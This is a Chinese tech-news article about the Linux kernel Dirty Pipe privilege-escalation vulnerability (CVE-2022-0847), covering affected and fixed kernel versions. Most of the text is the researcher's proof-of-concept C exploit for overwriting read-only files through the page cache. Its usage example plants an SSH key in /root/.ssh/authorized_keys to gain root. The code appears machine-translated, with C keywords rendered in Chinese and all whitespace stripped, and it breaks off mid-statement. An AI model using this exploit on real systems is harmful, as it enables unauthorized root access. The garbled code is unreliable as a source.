当前位置: 首页 > 科技观察

Linux内核最新高危提权漏洞:DirtyPipe

时间:2023-03-13 22:49:09 科技观察

CM4all安全研究员MaxKellermann披露了Linux内核高危提权漏洞:DirtyPipe。漏洞编号为CVE-2022-0847。据介绍,该漏洞从5.8版本开始就存在。非root用户通过在只读文件中注入和覆盖数据来获得root权限。因为非特权进程可以将代码注入根进程。Max表示,“dirtypipe”漏洞与几年前的“dirtycow”类似,所以取了类似的名字,但前者更容易被利用。此外,该漏洞已被黑客利用。研究人员建议尽快升级版本。该漏洞已在Linux5.16.11、5.15.25和5.10.102中修复。Max在文章中提供了一个漏洞PoC。/*SPDX-License-Identifier:GPL-2.0*//**版权所有2022CM4allGmbH/IONOSSE**作者:MaxKellermann**脏管道的概念验证*由未初始化的*“pipe_buffer.flags”变量引起的漏洞(CVE-2022-0847)。它演示了如何覆盖页面缓存中的任何*文件内容,即使该文件不允许*写入、不可变或处于只读装载状态。**此漏洞利用需要Linux5.8或更高版本;代码路径*可通过提交f6dd975583bd(“pipe:merge*anon_pipe_buf*_ops”)访问。提交没有引入错误,它以前就存在,它只是提供了一种简单的利用它的方法。**这个漏洞利用有两个主要限制:偏移量不能*在页面边界上(它需要在偏移量之前写入一个字节*以将对此页面的引用添加到管道),并且写入不能*跨越页面边界。**示例:./write_anything/root/.ssh/authorized_keys1$'\nssh-ed25519AAA......\n'**进一步解释:https://dirtypipe.cm4all.com/*/#define_GNU_SOURCE#include#include#include#include#include#include#include#ifndefPAGE_SIZE#definePAGE_SIZE4096#endif/***创建一个管道,其中pipe_inode_info环上的所有“bufs”都设置了*PIPE_BUF_FLAG_CAN_MERGE标志。*/staticvoidprepare_pipe(intp[2]){if(pipe(p))abort();constunsignedpipe_size=fcntl(p[1],F_GETPIPE_SZ);静态字符缓冲区[4096];/*完全填充管道;每个pipe_buffer现在都有PIPE_BUF_FLAG_CAN_MERGE标志*/for(unsignedr=pipe_size;r>0;){unsignedn=r>sizeof(buffer)?大小(缓冲区):r;写(p[1],缓冲区,n);r-=n;}/*排空管道,释放所有pipe_buffer实例(但保留初始化的标志)*/for(unsignedr=管道大小;r>0;){无符号n=r>sizeof(buffer)?大小(缓冲区):r;读取(p[0],缓冲区,n);r-=n;}/*管道现在是空的,如果有人添加了一个新的pipe_buffer而没有初始化它的“标志”,缓冲区将是可合并的*/}intmain(intargc,char**argv){if(argc!=4){fprintf(stderr,"Usage:%sTARGETFILEOFFSETDATA\n",argv[0]);返回EXIT_FAILURE;}/*愚蠢的命令行参数解析器*/constchar*constpath=argv[1];loff_toffset=strtoul(argv[2],NULL,0);常量字符*常量数据=argv[3];constsize_tdata_size=strlen(数据);if(offset%PAGE_SIZE==0){fprintf(stderr,"抱歉,无法在页面边界开始写入\n");返回EXIT_FAILURE;}constloff_tnext_page=(offset|(PAGE_SIZE-1))+1;constloff_tend_offset=offset+(loff_t)data_size;if(end_offset>next_page){fprintf(stderr,"抱歉,不能跨页写\n");返回n退出失败;}/*打开输入文件并验证指定的偏移量*/constintfd=open(path,O_RDONLY);//是的,只读!:-)if(fd<0){perror("打开失败");返回EXIT_FAILURE;}结构统计st;if(fstat(fd,&st)){perror("统计失败");返回EXIT_FAILURE;}if(offset>st.st_size){fprintf(stderr,"偏移量不在文件内\n");返回EXIT_FAILURE;}if(end_offset>st.st_size){fprintf(stderr,"抱歉,无法放大文件\n");返回EXIT_FAILURE;}/*使用PIPE_BUF_FLAG_CAN_MERGE初始化的所有标志创建管道*/intp[2];准备管道(p);/*将指定偏移量之前的一个字节拼接到管道中;这将添加对页面缓存的引用,但由于copy_page_to_iter_pipe()没有初始化“标志”,PIPE_BUF_FLAG_CAN_MERGE仍然设置*/--offset;ssize_tnbytes=splice(fd,&offset,p[1],NULL,1,0);如果(nbytes<0){perror("拼接失败");返回EXIT_FAILURE;}if(nbytes==0){fprintf(stderr,"短拼接\n");返回EXIT_FAILURE;}/*由于PIPE_BUF_FLAG_CAN_MERGE标志,下面的写入不会创建新的pipe_buffer,而是写入页面缓存*/nbytes=write(p[1],data,data_size);if(nbytes<0){perror("写入失败");返回EXIT_FAILURE;}if((size_t)nbytes